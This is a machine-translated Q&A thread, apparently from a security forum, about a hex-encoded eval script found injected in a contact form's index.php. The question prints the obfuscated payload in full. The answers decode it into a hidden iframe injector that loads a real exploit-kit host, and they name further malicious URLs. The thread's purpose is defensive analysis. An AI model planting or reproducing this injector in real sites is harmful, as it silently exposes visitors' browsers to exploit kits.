web-dev-qa-db-ja.com

長い16進文字列とevalを含むJavaScript:これは疑わしいですか?

index.php単純な「お問い合わせ」フォームのファイルで、次のものが見つかりました(空白と改行がいくつか追加されています)。

try {if(window.document)--document.getElementById('12')}
catch(qq) {if(qq!=null)ss=eval("St"+"ring");}
a="74837c7182777d7c2e88888874747436372e89182e846f802e797a7171802e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b7335374918182e797a7171803c8180712e4b2e357682827e483d3d7c777c7d807d7b6f7c7d3c77823d525c5558867251653c7e767e3549182e797a7171803c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a8382733549182e797a7171803c8182877a733c707d807273802e4b2e353e3549182e797a7171803c8182877a733c7673777576822e4b2e35477e863549182e797a7171803c8182877a733c85777282762e4b2e35457e863549182e797a7171803c8182877a733c7a7374822e4b2e353f7e863549182e797a7171803c8182877a733c827d7e2e4b2e353f7e86354918182e77742e362f727d71837b737c823c757382537a737b737c82508757723635797a7171803537372e89182e727d71837b737c823c858077827336354a7277842e77724b6a35797a7171806a354c4a3d7277844c353749182e727d71837b737c823c757382537a737b737c82508757723635797a71718035373c6f7e7e737c725176777a7236797a7171803749182e8b188b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e89182e846f802e827d726f872e4b2e7c73852e526f8273363749182e846f802e73867e7780732e4b2e7c73852e526f8273363749182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f49182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f87813749182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a837337182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e30303749188b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e89182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e3749182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f49182e77742e362e362e2f81826f80822e372e3434182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e37182e89182e80738283807c2e7c837a7a49182e8b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a49182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e3749182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c75827649182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e3749188b1877742e367c6f8477756f827d803c717d7d797773537c6f707a737237188918777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491818888888747474363749188b188b18";
z=[];
for(i=0;i<a.length;i+=2){z.Push(parseInt(a.substr(i,2),16)-14);}
eval(ss["fr"+"omCharCode"].apply(ss,z));
</script><!--/0f2490-->

誰もがこのコードが何をしているのか知っていますか?これはページの予期された部分である可能性が高いですか、それともWebサイトがハッキングされた兆候ですか?

3
Edward

私はそれが何をするのかを見つけました(私に寛大にしてください私はJavaScript開発者ではありません

簡単にわかるのは、スクリプトがa文字列に存在する数値に対してString.fromCharCode()を呼び出して新しい文字列を作成し、それを実行することです。 a文字列が翻訳されるコードは次のとおりです。

function zzzfff() {
 var klccr = document.createElement('iframe');

 klccr.src = 'http://ninoromano.it/DNGJxdCW.php';
 klccr.style.position = 'absolute';
 klccr.style.border = '0';
 klccr.style.height = '9px';
 klccr.style.width = '7px';
 klccr.style.left = '1px';
 klccr.style.top = '1px';

 if (!document.getElementById('klccr')) {
 document.write('<div id=\'klccr\'></div>');
 document.getElementById('klccr').appendChild(klccr);
 }
}

function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();

今、私はそれについてはわかりません(私はJavaScript開発者ではないことを思い出してください)Cookieを盗むコードのようです(おそらくセッションハイジャック)

[〜#〜]編集[〜#〜]

さらなる研究について:

  • スクリプトは、特定のCookie(Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation")が存在するかどうかを確認し、存在しない場合は作成します。
  • 次に、ドキュメント内に新しい要素を作成します。これは、目立たなくするために変更され(幅7ピクセル、高さ9ピクセル)、http://ninoromano.it/DNGJxdCW.phpで利用可能なphpスクリプトを実行します。これにアクセスすると、ページのコードで「ok」だけが返されます(ドメインが侵害されているようです)。 (それ以上の情報は得られません)

おそらくセッションのハイジャックの試みです。

6
NlightNFotis

初めて実行すると、スクリプトはninoromano.itを指すiframeを作成します。次に、Cookieを作成して、その後ロードしたときに再度実行されないようにします。

Iframeはブラウザエクスプロイトスクリプトです。あなたがそれについて知らないブラウザでそれを見ると、あなたは 'ok'文字列を取得しますが、例えばそれをIEの古いコピーにロードすると、あなたのマシンに感染するためのエクスプロイトがたくさん集まります。

サイトはハッキングされました(その外観からninoromanoもハッキングされました)。この種の感染の一般的な原因は、クライアント側のマルウェアがサーバーアカウントのパスワードを盗むことです(多くの場合、エクスプロイトによって提供される同じマルウェアです)。責任者は誰でも、複数のAVを使用してサーバーにアクセスしたすべてのクライアントマシンをスキャンする必要があります(AVは信頼性が低いため)。感染したクライアントを最初から再インストールします。新しいサーバーのパスワードを選択します。サーバーを最初から再インストールします。

3
bobince

あなたが見ているのは、エクスプロイトキット「iframer」のパックされた(難読化された)バージョンです。 「iframer」は、外部iframeをロードするJavascriptのスニペットを意味します。ほとんどの場合、iframeは、最終的にブラウザーエクスプロイトキットをロードするチェーンの一部を指します。

(明らかに、以下のリンクには直接アクセスしないでください。)

エクスプロイトキットのランディングページhxxp://ninoromano.it/DNGJxdCW.phpに有効なリファラーとIEユーザーエージェントを指定して)にリクエストすると、別のURLにリダイレクトされます。

これはリダイレクトの段階です。この場合のninoromano.itは、おそらく「TDS」のトラフィック分散システムの一部です。その仕事は、参照元と、場合によっては国に基づいて、トラフィックをさまざまなエクスプロイトキットのランディングページ(または、一般的なスパム広告)に分割することです。クライアント。

http://www.symantec.com/connect/blogs/web-based-malware-distribution-channels-look-traffic-redistribution-systems

ロードされたURLはhxxp://innocuus.myseniorbook.com:801/lace_poet_prolonged.htmに類似したパターンを持っています。ここにその内容があります。

http://Pastebin.com/gw20261S

そのページを見ただけで、「Cool Exploit Kit」として認識しています。このエクスプロイトキットの詳細は、さまざまな場所で確認できます。

http://www.avgthreatlabs.com/virus-and-malware-information/info/cool-exploit-kit/http://malware.dontneedcoffee.com/2012/10 /newcoolek.htmlhttp://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html

ランディングページhxxp://innocuus.myseniorbook.com:801/who-solely_sex_painting.htmlによって別のiframeが読み込まれます

このiframeには、実際の悪意のあるコードの大部分が含まれています。これは主にJavaエクスプロイト)のさまざまなエクスプロイトを試みます。これらはすべて悪意のあるペイロードをダウンロードして実行します。

http://urlquery.net は、この種の分析を自動化するための素晴らしいサイトです。 IE user-agenetとある種のリファラーを毎回必ず設定してください。

多くの異なるエクスプロイトキットが、ページの下部に表示されているJSパッカーのフレーバーを使用しています。そのようなコードを見つけた場合、それは非常に悪意のあるコードであると考えられます。

3
Anorov